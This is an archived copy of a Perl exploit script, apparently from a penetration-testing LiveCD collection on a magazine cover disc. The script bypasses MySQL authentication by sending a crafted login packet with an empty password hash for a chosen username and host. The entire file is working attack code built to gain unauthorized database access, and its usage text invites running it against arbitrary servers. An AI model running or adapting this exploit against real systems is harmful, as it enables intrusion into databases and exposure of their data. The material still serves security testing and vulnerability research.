home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysql-auth-bypass.pl < prev    next >
Perl Script  |  2005-02-12  |  3KB  |  138 lines

  1. #!/usr/bin/perl
  2. #
  3. # The script connects to MySQL and attempts to log in using a zero-length password
  4. # Based on the vuln found by NGSSecurity
  5. #
  6. # Exploit copyright (c) 2004 by Eli Kara, Beyond Security
  7. # <elik@beyondsecurity.com>
  8. #
  9. use strict;
  10. use IO::Socket::INET;
  11.  
  12. usage() unless ((@ARGV >= 1) || (@ARGV <= 3));
  13.  
  14. my $username = shift(@ARGV);
  15. my $host = shift(@ARGV);
  16. if (!$host)
  17. {
  18.   usage();
  19. }
  20. my $port = shift(@ARGV);
  21. if (!$port)
  22. {
  23.  $port = 3306; print "Using default MySQL port (3306)\n";
  24. }
  25.  
  26. # create the socket
  27. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
  28. $socket or die "Cannot connect to host!\n";
  29.  
  30. # receive greeting
  31. my $reply;
  32. recv($socket, $reply, 1024, 0);
  33. if (length($reply) < 7)
  34. {
  35.  print "Not allowed to connect to MySQL!\n";
  36.  exit(1);
  37. }
  38. print "Received greeting:\n";
  39. HexDump($reply);
  40. print "\n";
  41.  
  42. # here we define the login OK reply
  43. # my $login_ok = "\x01\x00\x00\x02\xFE";
  44.  
  45. # break the username string into chars and rebuild it
  46. my $binuser = pack("C*", unpack("C*", $username));
  47.  
  48. # send login caps packet with password
  49. my $packet = "\x85\xa6".
  50.              "\x03\x00\x00".
  51.     "\x00".
  52.     "\x00\x01\x08\x00\x00\x00". # capabilities, max packet, etc..
  53.              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  54.              "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
  55.              "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash
  56.  
  57. substr($packet, 0, 0) = pack("C1", length($packet)) . "\x00\x00\x01"; # MySQL message length + packet number (1)
  58.  
  59. print "Sending caps packet:\n";
  60. HexDump($packet);
  61. print "\n";
  62. send $socket, $packet, 0;
  63.  
  64. # receive reply
  65. recv($socket, $reply, 1024, 0);
  66. print "Received reply:\n";
  67. HexDump($reply);
  68.  
  69. my @list_bytes = unpack("C*", $reply);
  70.  
  71. #print "The fifth byte is: ", $list_bytes[4], "\n";
  72. if (length(@list_bytes) >= 4)
  73. {
  74.  print "Response insufficent\n";
  75. }
  76.  
  77. #if ($reply eq $login_ok)
  78. if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
  79. {
  80.  print "Received OK reply, authentication successful!!\n";
  81. }
  82. else
  83. {
  84.  print "Authentication failed!\n";
  85. }
  86.  
  87. # close
  88. close($socket);
  89.  
  90.  
  91. sub usage
  92. {
  93.     # print usage information
  94.     print "\nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]\n
  95. <username> - The DB username to authenticate as
  96. <host> - The host to connect to
  97. [port] - The TCP port which MySQL is listening on (optional, default is 3306)\n\n";
  98.     exit(1);
  99. }
  100.  
  101.  
  102. ###
  103. # do a hexdump of a string (assuming it's binary)
  104. ###
  105. sub HexDump
  106. {
  107.  my $buffer = $_[0];
  108.  
  109.  # unpack it into chars
  110.  my @up = unpack("C*", $buffer);
  111.  my $pos=0;
  112.  
  113.  # calculate matrix sizes
  114.  my $rows = int(@up/16);
  115.  my $leftover = int(@up%16);
  116.  
  117.  for( my $row=0; $row < $rows ; $row++, $pos+=16)
  118.  {
  119.   printf("%08X\t", $pos);
  120.   my @values = @up[$pos .. $pos+15];
  121.   my @line;
  122.   foreach my $val (@values)
  123.   {
  124.    push(@line, sprintf("%02X", $val));
  125.   }
  126.   print join(' ', @line), "\n";
  127.  }
  128.  # print last line
  129.  printf("%08X\t", $pos);
  130.  my @values = @up[$pos .. $pos+$leftover-1];
  131.  my @line;
  132.  foreach my $val (@values)
  133.  {
  134.   push(@line, sprintf("%02X", $val));
  135.  }
  136.  print join(' ', @line), "\n";
  137. }
  138.